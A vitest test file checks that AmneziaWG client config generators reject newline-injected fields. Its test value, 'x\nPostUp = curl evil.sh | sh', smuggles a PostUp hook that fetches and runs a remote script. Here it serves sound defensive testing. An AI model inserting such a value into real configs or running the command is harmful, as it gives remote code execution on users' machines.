amneziawg-conf-injection.test.ts 3.1 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192
  1. import { describe, expect, it } from 'vitest';
  2. import { genAmneziaWGConfig } from '@/lib/xray/inbound-link';
  3. import { buildAmneziaWGClientConfig } from '@/pages/clients/amneziawgConfig';
  4. import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
  5. import type { ClientRecord, InboundOption } from '@/hooks/useClients';
  6. // A newline in a field that lands unescaped in [Interface] would inject a
  7. // config line (e.g. a rogue PostUp); every emitter must refuse to render it.
  8. const INJECTED = 'x\nPostUp = curl evil.sh | sh';
  9. function settingsWith(server: Record<string, unknown>, client: Record<string, unknown>) {
  10. return {
  11. server: { publicKey: 'serverPubKey==', jc: 4, jmin: 40, jmax: 100, s1: 30, s2: 90, ...server },
  12. clients: [
  13. { email: 'peer-1', privateKey: 'clientPrivKey==', allowedIPs: ['10.8.1.2/32'], ...client },
  14. ],
  15. } as unknown as AmneziawgInboundSettings;
  16. }
  17. describe('AmneziaWG .conf newline-injection guard', () => {
  18. it('genAmneziaWGConfig refuses injected fields and renders clean ones', () => {
  19. const base = { address: 'awg.example.test', port: 51820, peerIndex: 0 };
  20. expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: 'ok', ...base })).toContain(
  21. 'PrivateKey = clientPrivKey==',
  22. );
  23. expect(
  24. genAmneziaWGConfig({
  25. settings: settingsWith({}, { privateKey: INJECTED }),
  26. remark: 'ok',
  27. ...base,
  28. }),
  29. ).toBe('');
  30. expect(
  31. genAmneziaWGConfig({
  32. settings: settingsWith({ primaryDns: INJECTED }, {}),
  33. remark: 'ok',
  34. ...base,
  35. }),
  36. ).toBe('');
  37. expect(
  38. genAmneziaWGConfig({
  39. settings: settingsWith({ secondaryDns: INJECTED }, {}),
  40. remark: 'ok',
  41. ...base,
  42. }),
  43. ).toBe('');
  44. expect(genAmneziaWGConfig({ settings: settingsWith({}, {}), remark: INJECTED, ...base })).toBe(
  45. '',
  46. );
  47. });
  48. it('buildAmneziaWGClientConfig refuses injected fields', () => {
  49. const inbound = (server: Record<string, unknown>) =>
  50. ({
  51. id: 1,
  52. tag: 'awg-1',
  53. remark: 'awg',
  54. port: 51820,
  55. protocol: 'amneziawg',
  56. awgServer: {
  57. publicKey: 'serverPubKey==',
  58. jc: 4,
  59. jmin: 40,
  60. jmax: 100,
  61. s1: 30,
  62. s2: 90,
  63. ...server,
  64. },
  65. }) as unknown as InboundOption;
  66. const client = (extra: Record<string, unknown>) =>
  67. ({
  68. email: 'peer-1',
  69. privateKey: 'clientPrivKey==',
  70. allowedIPs: '10.8.1.2/32',
  71. ...extra,
  72. }) as unknown as ClientRecord;
  73. expect(buildAmneziaWGClientConfig(client({}), inbound({}), 'awg.example.test')).toContain(
  74. 'PrivateKey = clientPrivKey==',
  75. );
  76. expect(
  77. buildAmneziaWGClientConfig(client({ privateKey: INJECTED }), inbound({}), 'awg.example.test'),
  78. ).toBe('');
  79. expect(
  80. buildAmneziaWGClientConfig(client({}), inbound({ primaryDns: INJECTED }), 'awg.example.test'),
  81. ).toBe('');
  82. expect(
  83. buildAmneziaWGClientConfig(client({ comment: INJECTED }), inbound({}), 'awg.example.test'),
  84. ).toBe('');
  85. });
  86. });